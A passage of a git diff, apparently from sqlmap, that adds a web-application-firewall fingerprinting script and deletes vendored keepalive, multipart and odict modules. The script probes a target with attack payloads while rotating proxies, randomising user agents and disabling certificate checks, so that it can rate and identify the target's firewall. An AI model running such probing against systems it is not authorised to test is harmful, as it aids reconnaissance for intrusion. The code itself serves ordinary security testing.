(MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retval + return retval + + parser.usage = "python %s " % parser.usage + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + + for _ in ("-h", "--version"): + option = parser.get_option(_) + option.help = option.help.capitalize() + + try: + options, _ = parser.parse_args() + except SystemExit: + raise + + if len(sys.argv) > 1: + url = sys.argv[-1] + if not url.startswith("http"): + url = "http://%s" % url + options.url = url + else: + parser.print_help() + raise SystemExit + + for key in DEFAULTS: + if getattr(options, key, None) is None: + setattr(options, key, DEFAULTS[key]) + +def load_data(): + global WAF_RECOGNITION_REGEX + + if os.path.isfile(DATA_JSON_FILE): + with open(DATA_JSON_FILE, "r") as f: + DATA_JSON.update(json.load(f)) + + WAF_RECOGNITION_REGEX = "" + for waf in DATA_JSON["wafs"]: + if DATA_JSON["wafs"][waf]["regex"]: + WAF_RECOGNITION_REGEX += "%s|" % ("(?P%s)" % (waf, DATA_JSON["wafs"][waf]["regex"])) + for signature in DATA_JSON["wafs"][waf]["signatures"]: + SIGNATURES[signature] = waf + WAF_RECOGNITION_REGEX = WAF_RECOGNITION_REGEX.strip('|') + + flags = "".join(set(_ for _ in "".join(re.findall(r"\(\?(\w+)\)", WAF_RECOGNITION_REGEX)))) + WAF_RECOGNITION_REGEX = "(?%s)%s" % (flags, re.sub(r"\(\?\w+\)", "", WAF_RECOGNITION_REGEX)) # patch for "DeprecationWarning: Flags not at the start of the expression" in Python3.7 + else: + exit(colorize("[x] file '%s' is missing" % DATA_JSON_FILE)) + +def init(): + os.chdir(os.path.abspath(os.path.dirname(__file__))) + + # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html + if not PY3 and not IS_TTY: + sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) + + print(colorize("[o] initializing handlers...")) + + # Reference: https://stackoverflow.com/a/28052583 + if hasattr(ssl, "_create_unverified_context"): + ssl._create_default_https_context = ssl._create_unverified_context + + if options.proxy_file: + if os.path.isfile(options.proxy_file): + print(colorize("[o] loading proxy list...")) + + with open(options.proxy_file, "r") as f: + proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) + random.shuffle(proxies) + else: + exit(colorize("[x] file '%s' does not exist" % options.proxy_file)) + + + cookie_jar = CookieJar() + opener = build_opener(HTTPCookieProcessor(cookie_jar)) + install_opener(opener) + + if options.proxy: + opener = build_opener(ProxyHandler({"http": options.proxy, "https": options.proxy})) + install_opener(opener) + + if options.random_agent: + revision = random.randint(20, 64) + platform = random.sample(("X11; %s %s" % (random.sample(("Linux", "Ubuntu; Linux", "U; Linux", "U; OpenBSD", "U; FreeBSD"), 1)[0], random.sample(("amd64", "i586", "i686", "amd64"), 1)[0]), "Windows NT %s%s" % (random.sample(("5.0", "5.1", "5.2", "6.0", "6.1", "6.2", "6.3", "10.0"), 1)[0], random.sample(("", "; Win64", "; WOW64"), 1)[0]), "Macintosh; Intel Mac OS X 10.%s" % random.randint(1, 11)), 1)[0] + user_agent = "Mozilla/5.0 (%s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (platform, revision, revision) + HEADERS["User-Agent"] = user_agent + +def format_name(waf): + return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") + +def non_blind_check(raw, silent=False): + retval = False + match = re.search(WAF_RECOGNITION_REGEX, raw or "") + if match: + retval = True + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + non_blind.add(waf) + if not silent: + single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) + return retval + +def run(): + global original + + hostname = options.url.split("//")[-1].split('/')[0].split(':')[0] + + if not hostname.replace('.', "").isdigit(): + print(colorize("[i] checking hostname '%s'..." % hostname)) + try: + socket.getaddrinfo(hostname, None) + except socket.gaierror: + exit(colorize("[x] host '%s' does not exist" % hostname)) + + results = "" + signature = b"" + counter = 0 + original = retrieve(options.url) + + if 300 <= (original[HTTPCODE] or 0) < 400 and original[URL]: + original = retrieve(original[URL]) + + options.url = original[URL] + + if original[HTTPCODE] is None: + exit(colorize("[x] missing valid response")) + + if not any((options.string, options.code)) and original[HTTPCODE] >= 400: + non_blind_check(original[RAW]) + if options.debug: + print("\r---%s" % (40 * ' ')) + print(original[HTTPCODE], original[RAW]) + print("---") + exit(colorize("[x] access to host '%s' seems to be restricted%s" % (hostname, (" (%d: '%s')" % (original[HTTPCODE], original[TITLE].strip())) if original[TITLE] else ""))) + + challenge = None + if all(_ in original[HTML].lower() for _ in ("eval", "]*>(.*)", re.sub(r"(?is)", "", original[HTML])) + if re.search(r"(?i)<(body|div)", original[HTML]) is None or (match and len(match.group(1)) == 0): + challenge = re.search(r"(?is)", original[HTML]).group(0).replace("\n", "\\n") + print(colorize("[x] anti-robot JS challenge detected ('%s%s')" % (challenge[:MAX_JS_CHALLENGE_SNAPLEN], "..." if len(challenge) > MAX_JS_CHALLENGE_SNAPLEN else ""))) + + protection_keywords = GENERIC_PROTECTION_KEYWORDS + protection_regex = GENERIC_PROTECTION_REGEX % '|'.join(keyword for keyword in protection_keywords if keyword not in original[HTML].lower()) + + print(colorize("[i] running basic heuristic test...")) + if not check_payload(HEURISTIC_PAYLOAD): + check = False + if options.url.startswith("https://"): + options.url = options.url.replace("https://", "http://") + check = check_payload(HEURISTIC_PAYLOAD) + if not check: + if non_blind_check(intrusive[RAW]): + exit(colorize("[x] unable to continue due to static responses%s" % (" (captcha)" if re.search(r"(?i)captcha", intrusive[RAW]) is not None else ""))) + elif challenge is None: + exit(colorize("[x] host '%s' does not seem to be protected" % hostname)) + else: + exit(colorize("[x] response not changing without JS challenge solved")) + + if options.fast and not non_blind: + exit(colorize("[x] fast exit because of missing non-blind match")) + + if not intrusive[HTTPCODE]: + print(colorize("[i] rejected summary: RST|DROP")) + else: + _ = "...".join(match.group(0) for match in re.finditer(GENERIC_ERROR_MESSAGE_REGEX, intrusive[HTML])).strip().replace(" ", " ") + print(colorize(("[i] rejected summary: %d ('%s%s')" % (intrusive[HTTPCODE], ("%s" % intrusive[TITLE]) if intrusive[TITLE] else "", "" if not _ or intrusive[HTTPCODE] < 400 else ("...%s" % _))).replace(" ('')", ""))) + + found = non_blind_check(intrusive[RAW] if intrusive[HTTPCODE] is not None else original[RAW]) + + if not found: + print(colorize("[-] non-blind match: -")) + + for item in DATA_JSON["payloads"]: + info, payload = item.split("::", 1) + counter += 1 + + if IS_TTY: + sys.stdout.write(colorize("\r[i] running payload tests... (%d/%d)\r" % (counter, len(DATA_JSON["payloads"])))) + sys.stdout.flush() + + if counter % VERIFY_OK_INTERVAL == 0: + for i in xrange(VERIFY_RETRY_TIMES): + if not check_payload(str(random.randint(1, 9)), protection_regex): + break + elif i == VERIFY_RETRY_TIMES - 1: + exit(colorize("[x] host '%s' seems to be misconfigured or rejecting benign requests%s" % (hostname, (" (%d: '%s')" % (intrusive[HTTPCODE], intrusive[TITLE].strip())) if intrusive[TITLE] else ""))) + else: + time.sleep(5) + + last = check_payload(payload, protection_regex) + non_blind_check(intrusive[RAW]) + signature += struct.pack(">H", ((calc_hash(payload, binary=False) << 1) | last) & 0xffff) + results += 'x' if last else '.' + + if last and info not in blocked: + blocked.append(info) + + _ = calc_hash(signature) + signature = "%s:%s" % (_.encode("hex") if not hasattr(_, "hex") else _.hex(), base64.b64encode(signature).decode("ascii")) + + print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) + + hardness = 100 * results.count('x') // len(results) + print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) + + if blocked: + print(colorize("[=] blocked categories: %s" % ", ".join(blocked))) + + if not results.strip('.') or not results.strip('x'): + print(colorize("[-] blind match: -")) + + if re.search(r"(?i)captcha", original[HTML]) is not None: + exit(colorize("[x] there seems to be an activated captcha")) + else: + print(colorize("[=] signature: '%s'" % signature)) + + if signature in SIGNATURES: + waf = SIGNATURES[signature] + print(colorize("[+] blind match: '%s' (100%%)" % format_name(waf))) + elif results.count('x') < MIN_MATCH_PARTIAL: + print(colorize("[-] blind match: -")) + else: + matches = {} + markers = set() + decoded = base64.b64decode(signature.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + markers.add(part) + + for candidate in SIGNATURES: + counter_y, counter_n = 0, 0 + decoded = base64.b64decode(candidate.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + if part in markers: + counter_y += 1 + elif any(_ in markers for _ in (part & ~1, part | 1)): + counter_n += 1 + result = int(round(100.0 * counter_y / (counter_y + counter_n))) + if SIGNATURES[candidate] in matches: + if result > matches[SIGNATURES[candidate]]: + matches[SIGNATURES[candidate]] = result + else: + matches[SIGNATURES[candidate]] = result + + if chained: + for _ in list(matches.keys()): + if matches[_] < 90: + del matches[_] + + if not matches: + print(colorize("[-] blind match: - ")) + print(colorize("[!] probably chained web protection systems")) + else: + matches = [(_[1], _[0]) for _ in matches.items()] + matches.sort(reverse=True) + + print(colorize("[+] blind match: %s" % ", ".join("'%s' (%d%%)" % (format_name(matches[i][1]), matches[i][0]) for i in xrange(min(len(matches), MAX_MATCHES) if matches[0][0] != 100 else 1)))) + + print() + +def main(): + if "--version" not in sys.argv: + print(BANNER) + + parse_args() + init() + run() + +load_data() + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + exit(colorize("\r[x] Ctrl-C pressed")) diff --git a/thirdparty/keepalive/__init__.py b/thirdparty/keepalive/__init__.py deleted file mode 100644 index 08a0be4d99a..00000000000 --- a/thirdparty/keepalive/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py deleted file mode 100644 index 51a4c867099..00000000000 --- a/thirdparty/keepalive/keepalive.py +++ /dev/null @@ -1,465 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. - - import urllib2 - from keepalive import HTTPHandler - keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) - - fo = urllib2.urlopen('http://www.python.org') - -To remove the handler, simply re-run build_opener with no arguments, and -install that opener. - -You can explicitly close connections by using the close_connection() -method of the returned file-like object (described below) or you can -use the handler methods: - - close_connection(host) - close_all() - open_connections() - -Example: - - keepalive_handler.close_all() - -EXTRA ATTRIBUTES AND METHODS - - Upon a status of 200, the object returned has a few additional - attributes and methods, which should not be used if you want to - remain consistent with the normal urllib2-returned objects: - - close_connection() - close the connection to the host - readlines() - you know, readlines() - status - the return status (ie 404) - reason - english translation of status (ie 'File not found') - - If you want the best of both worlds, use this inside an - AttributeError-catching try: - - try: status = fo.status - except AttributeError: status = None - - Unfortunately, these are ONLY there if status == 200, so it's not - easy to distinguish between non-200 responses. The reason is that - urllib2 tries to do clever things with error codes 301, 302, 401, - and 407, and it wraps the object upon return. - - You can optionally set the module-level global HANDLE_ERRORS to 0, - in which case the handler will always return the object directly. - If you like the fancy handling of errors, don't do this. If you - prefer to see your error codes, then do. - -""" -from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader - -from lib.core.convert import unicodeencode -from lib.core.data import kb - -import threading -import urllib2 -import httplib -import socket - -VERSION = (0, 1) -#STRING_VERSION = '.'.join(map(str, VERSION)) -DEBUG = 0 -HANDLE_ERRORS = 1 - -class HTTPHandler(urllib2.HTTPHandler): - def __init__(self): - self._connections = {} - - def close_connection(self, host): - """close connection to - host is the host:port spec, as in 'www.cnn.com:8080' as passed in. - no error occurs if there is no connection to that host.""" - self._remove_connection(host, close=1) - - def open_connections(self): - """return a list of connected hosts""" - retVal = [] - currentThread = threading.currentThread() - for name, host in self._connections.keys(): - if name == currentThread.getName(): - retVal.append(host) - return retVal - - def close_all(self): - """close all open connections""" - for _, conn in self._connections.items(): - conn.close() - self._connections = {} - - def _remove_connection(self, host, close=0): - key = self._get_connection_key(host) - if self._connections.has_key(key): - if close: self._connections[key].close() - del self._connections[key] - - def _get_connection_key(self, host): - return (threading.currentThread().getName(), host) - - def _start_connection(self, h, req): - h.clearheaders() - try: - if req.has_data(): - data = req.get_data() - h.putrequest('POST', req.get_selector()) - if not req.headers.has_key('Content-type'): - req.headers['Content-type'] = 'application/x-www-form-urlencoded' - if not req.headers.has_key('Content-length'): - req.headers['Content-length'] = '%d' % len(data) - else: - h.putrequest(req.get_method() or 'GET', req.get_selector()) - - if not req.headers.has_key('Connection'): - req.headers['Connection'] = 'keep-alive' - - for args in self.parent.addheaders: - h.putheader(*args) - for k, v in req.headers.items(): - h.putheader(k, v) - h.endheaders() - if req.has_data(): - h.send(data) - except socket.error, err: - h.close() - raise urllib2.URLError(err) - - def do_open(self, http_class, req): - h = None - host = req.get_host() - if not host: - raise urllib2.URLError('no host given') - - try: - need_new_connection = 1 - key = self._get_connection_key(host) - h = self._connections.get(key) - if not h is None: - try: - self._start_connection(h, req) - except: - r = None - else: - try: r = h.getresponse() - except httplib.ResponseNotReady, e: r = None - except httplib.BadStatusLine, e: r = None - - if r is None or r.version == 9: - # httplib falls back to assuming HTTP 0.9 if it gets a - # bad header back. This is most likely to happen if - # the socket has been closed by the server since we - # last used the connection. - if DEBUG: print "failed to re-use connection to %s" % host - h.close() - else: - if DEBUG: print "re-using connection to %s" % host - need_new_connection = 0 - if need_new_connection: - if DEBUG: print "creating new connection to %s" % host - h = http_class(host) - self._connections[key] = h - self._start_connection(h, req) - r = h.getresponse() - except socket.error, err: - if h: h.close() - raise urllib2.URLError(err) - - # if not a persistent connection, don't try to reuse it - if r.will_close: self._remove_connection(host) - - if DEBUG: - print "STATUS: %s, %s" % (r.status, r.reason) - r._handler = self - r._host = host - r._url = req.get_full_url() - - #if r.status == 200 or not HANDLE_ERRORS: - #return r - if r.status == 200 or not HANDLE_ERRORS: - # [speedplane] Must return an adinfourl object - resp = urllib2.addinfourl(r, r.msg, req.get_full_url()) - resp.code = r.status - resp.msg = r.reason - return resp; - else: - r.code = r.status - return self.parent.error('http', req, r, r.status, r.reason, r.msg) - - def http_open(self, req): - return self.do_open(HTTPConnection, req) - -class HTTPResponse(httplib.HTTPResponse): - - # we need to subclass HTTPResponse in order to - # 1) add readline() and readlines() methods - # 2) add close_connection() methods - # 3) add info() and geturl() methods - - # in order to add readline(), read must be modified to deal with a - # buffer. example: readline must read a buffer and then spit back - # one line at a time. The only real alternative is to read one - # BYTE at a time (ick). Once something has been read, it can't be - # put back (ok, maybe it can, but that's even uglier than this), - # so if you THEN do a normal read, you must first take stuff from - # the buffer. - - # the read method wraps the original to accomodate buffering, - # although read() never adds to the buffer. - # Both readline and readlines have been stolen with almost no - # modification from socket.py - - - def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: # the httplib in python 2.3 uses the method arg - httplib.HTTPResponse.__init__(self, sock, debuglevel, method) - else: # 2.2 doesn't - httplib.HTTPResponse.__init__(self, sock, debuglevel) - self.fileno = sock.fileno - self._method = method - self._rbuf = '' - self._rbufsize = 8096 - self._handler = None # inserted by the handler later - self._host = None # (same) - self._url = None # (same) - - _raw_read = httplib.HTTPResponse.read - - def close_connection(self): - self.close() - self._handler._remove_connection(self._host, close=1) - - def info(self): - return self.msg - - def geturl(self): - return self._url - - def read(self, amt=None): - # the _rbuf test is only in this first if for speed. It's not - # logically necessary - if self._rbuf and not amt is None: - L = len(self._rbuf) - if amt > L: - amt -= L - else: - s = self._rbuf[:amt] - self._rbuf = self._rbuf[amt:] - return s - - s = self._rbuf + self._raw_read(amt) - self._rbuf = '' - return s - - def readline(self, limit=-1): - data = "" - i = self._rbuf.find('\n') - while i < 0 and not (0 < limit <= len(self._rbuf)): - new = self._raw_read(self._rbufsize) - if not new: break - i = new.find('\n') - if i >= 0: i = i + len(self._rbuf) - self._rbuf = self._rbuf + new - if i < 0: i = len(self._rbuf) - else: i = i+1 - if 0 <= limit < len(self._rbuf): i = limit - data, self._rbuf = self._rbuf[:i], self._rbuf[i:] - return data - - def readlines(self, sizehint = 0): - total = 0 - list = [] - while 1: - line = self.readline() - if not line: break - list.append(line) - total += len(line) - if sizehint and total >= sizehint: - break - return list - - -class HTTPConnection(httplib.HTTPConnection): - # use the modified response class - response_class = HTTPResponse - _headers = None - - def clearheaders(self): - self._headers = {} - - def putheader(self, header, value): - """Send a request header line to the server. - - For example: h.putheader('Accept', 'text/html') - """ - if self.__state != _CS_REQ_STARTED: - raise CannotSendHeader() - - self._headers[header] = value - - def endheaders(self): - """Indicate that the last header line has been sent to the server.""" - - if self.__state == _CS_REQ_STARTED: - self.__state = _CS_REQ_SENT - else: - raise CannotSendHeader() - - for header in ('Host', 'Accept-Encoding'): - if header in self._headers: - str = '%s: %s' % (header, self._headers[header]) - self._output(str) - del self._headers[header] - - for header, value in self._headers.items(): - str = '%s: %s' % (header, value) - self._output(str) - - self._send_output() - - def send(self, str): - httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding)) - -######################################################################### -##### TEST FUNCTIONS -######################################################################### - -def error_handler(url): - global HANDLE_ERRORS - orig = HANDLE_ERRORS - keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) - pos = {0: 'off', 1: 'on'} - for i in (0, 1): - print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i) - HANDLE_ERRORS = i - try: - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - try: status, reason = fo.status, fo.reason - except AttributeError: status, reason = None, None - except IOError, e: - print " EXCEPTION: %s" % e - raise - else: - print " status = %s, reason = %s" % (status, reason) - HANDLE_ERRORS = orig - hosts = keepalive_handler.open_connections() - print "open connections:", ' '.join(hosts) - keepalive_handler.close_all() - -def continuity(url): - import md5 - format = '%25s: %s' - - # first fetch the file with the normal http handler - opener = urllib2.build_opener() - urllib2.install_opener(opener) - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - m = md5.new(foo) - print format % ('normal urllib', m.hexdigest()) - - # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) - - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - m = md5.new(foo) - print format % ('keepalive read', m.hexdigest()) - - fo = urllib2.urlopen(url) - foo = '' - while 1: - f = fo.readline() - if f: foo = foo + f - else: break - fo.close() - m = md5.new(foo) - print format % ('keepalive readline', m.hexdigest()) - -def comp(N, url): - print ' making %i connections to:\n %s' % (N, url) - - sys.stdout.write(' first using the normal urllib handlers') - # first use normal opener - opener = urllib2.build_opener() - urllib2.install_opener(opener) - t1 = fetch(N, url) - print ' TIME: %.3f s' % t1 - - sys.stdout.write(' now using the keepalive handler ') - # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) - t2 = fetch(N, url) - print ' TIME: %.3f s' % t2 - print ' improvement factor: %.2f' % (t1/t2, ) - -def fetch(N, url, delay=0): - lens = [] - starttime = time.time() - for i in xrange(N): - if delay and i > 0: time.sleep(delay) - fo = urllib2.urlopen(url) - foo = fo.read() - fo.close() - lens.append(len(foo)) - diff = time.time() - starttime - - j = 0 - for i in lens[1:]: - j = j + 1 - if not i == lens[0]: - print "WARNING: inconsistent length on read %i: %i" % (j, i) - - return diff - -def test(url, N=10): - print "checking error hander (do this on a non-200)" - try: error_handler(url) - except IOError, e: - print "exiting - exception will prevent further tests" - sys.exit() - print - print "performing continuity test (making sure stuff isn't corrupted)" - continuity(url) - print - print "performing speed comparison" - comp(N, url) - -if __name__ == '__main__': - import time - import sys - try: - N = int(sys.argv[1]) - url = sys.argv[2] - except: - print "%s " % sys.argv[0] - else: - test(url, N) diff --git a/thirdparty/magic/magic.py b/thirdparty/magic/magic.py index e03ddd9acf9..0a5c2575a93 100644 --- a/thirdparty/magic/magic.py +++ b/thirdparty/magic/magic.py @@ -117,7 +117,6 @@ def from_buffer(buffer, mime=False): pass if not libmagic or not libmagic._name: - import sys platform_to_lib = {'darwin': ['/opt/local/lib/libmagic.dylib', '/usr/local/lib/libmagic.dylib', '/usr/local/Cellar/libmagic/5.10/lib/libmagic.dylib'], @@ -199,8 +198,8 @@ def magic_load(cookie, filename): magic_compile.restype = c_int magic_compile.argtypes = [magic_t, c_char_p] -except ImportError: - from_file = from_buffer = lambda *args, **kwargs: "unknown" +except (ImportError, OSError): + from_file = from_buffer = lambda *args, **kwargs: MAGIC_UNKNOWN_FILETYPE MAGIC_NONE = 0x000000 # No flags MAGIC_DEBUG = 0x000001 # Turn on debugging @@ -223,3 +222,4 @@ def magic_load(cookie, filename): MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens +MAGIC_UNKNOWN_FILETYPE = b"unknown" diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py deleted file mode 100644 index 07a6e4e7198..00000000000 --- a/thirdparty/multipart/multipartpost.py +++ /dev/null @@ -1,112 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import mimetools -import mimetypes -import os -import stat -import StringIO -import sys -import urllib -import urllib2 - -from lib.core.exception import SqlmapDataException - - -class Callable: - def __init__(self, anycallable): - self.__call__ = anycallable - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = 1 - - -class MultipartPostHandler(urllib2.BaseHandler): - handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.get_data() - - if data is not None and type(data) != str: - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback - - if len(v_files) == 0: - data = urllib.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = 'multipart/form-data; boundary=%s' % boundary - #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): - # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') - request.add_unredirected_header('Content-Type', contenttype) - - request.add_data(data) - return request - - def multipart_encode(vars, files, boundary=None, buf=None): - if boundary is None: - boundary = mimetools.choose_boundary() - - if buf is None: - buf = '' - - for (key, value) in vars: - if key is not None and value is not None: - buf += '--%s\r\n' % boundary - buf += 'Content-Disposition: form-data; name="%s"' % key - buf += '\r\n\r\n' + value + '\r\n' - - for (key, fd) in files: - file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len - filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] - try: - contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' - except: - # Reference: http://bugs.python.org/issue9291 - contenttype = 'application/octet-stream' - buf += '--%s\r\n' % boundary - buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) - buf += 'Content-Type: %s\r\n' % contenttype - # buf += 'Content-Length: %s\r\n' % file_size - fd.seek(0) - - buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8") - buf += '\r\n%s\r\n' % fd.read() - - buf += '--%s--\r\n\r\n' % boundary - - return boundary, buf - - multipart_encode = Callable(multipart_encode) - - https_request = http_request diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py deleted file mode 100644 index 1143598a32c..00000000000 --- a/thirdparty/odict/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python -# -# The BSD License -# -# Copyright 2003-2008 Nicola Larosa, Michael Foord -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# - -pass diff --git a/thirdparty/odict/odict.py b/thirdparty/odict/odict.py deleted file mode 100644 index 9a712b048a2..00000000000 --- a/thirdparty/odict/odict.py +++ /dev/null @@ -1,1402 +0,0 @@ -# odict.py -# An Ordered Dictionary object -# Copyright (C) 2005 Nicola Larosa, Michael Foord -# E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk - -# This software is licensed under the terms of the BSD license. -# http://www.voidspace.org.uk/python/license.shtml -# Basically you're free to copy, modify, distribute and relicense it, -# So long as you keep a copy of the license with it. - -# Documentation at http://www.voidspace.org.uk/python/odict.html -# For information about bugfixes, updates and support, please join the -# Pythonutils mailing list: -# http://groups.google.com/group/pythonutils/ -# Comments, suggestions and bug reports welcome. - -"""A dict that keeps keys in insertion order""" -from __future__ import generators - -__author__ = ('Nicola Larosa ,' - 'Michael Foord ') - -__docformat__ = "restructuredtext en" - -__version__ = '0.2.2' - -__all__ = ['OrderedDict', 'SequenceOrderedDict'] - -import sys -INTP_VER = sys.version_info[:2] -if INTP_VER < (2, 2): - raise RuntimeError("Python v.2.2 or later required") - -import types, warnings - -class _OrderedDict(dict): - """ - A class of dictionary that keeps the insertion order of keys. - - All appropriate methods return keys, items, or values in an ordered way. - - All normal dictionary methods are available. Update and comparison is - restricted to other OrderedDict objects. - - Various sequence methods are available, including the ability to explicitly - mutate the key ordering. - - __contains__ tests: - - >>> d = OrderedDict(((1, 3),)) - >>> 1 in d - 1 - >>> 4 in d - 0 - - __getitem__ tests: - - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2] - 1 - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4] - Traceback (most recent call last): - KeyError: 4 - - __len__ tests: - - >>> len(OrderedDict()) - 0 - >>> len(OrderedDict(((1, 3), (3, 2), (2, 1)))) - 3 - - get tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.get(1) - 3 - >>> d.get(4) is None - 1 - >>> d.get(4, 5) - 5 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - - has_key tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.has_key(1) - 1 - >>> d.has_key(4) - 0 - """ - - def __init__(self, init_val=(), strict=False): - """ - Create a new ordered dictionary. Cannot init from a normal dict, - nor from kwargs, since items order is undefined in those cases. - - If the ``strict`` keyword argument is ``True`` (``False`` is the - default) then when doing slice assignment - the ``OrderedDict`` you are - assigning from *must not* contain any keys in the remaining dict. - - >>> OrderedDict() - OrderedDict([]) - >>> OrderedDict({1: 1}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> OrderedDict({1: 1}.items()) - OrderedDict([(1, 1)]) - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - >>> OrderedDict(d) - OrderedDict([(1, 3), (3, 2), 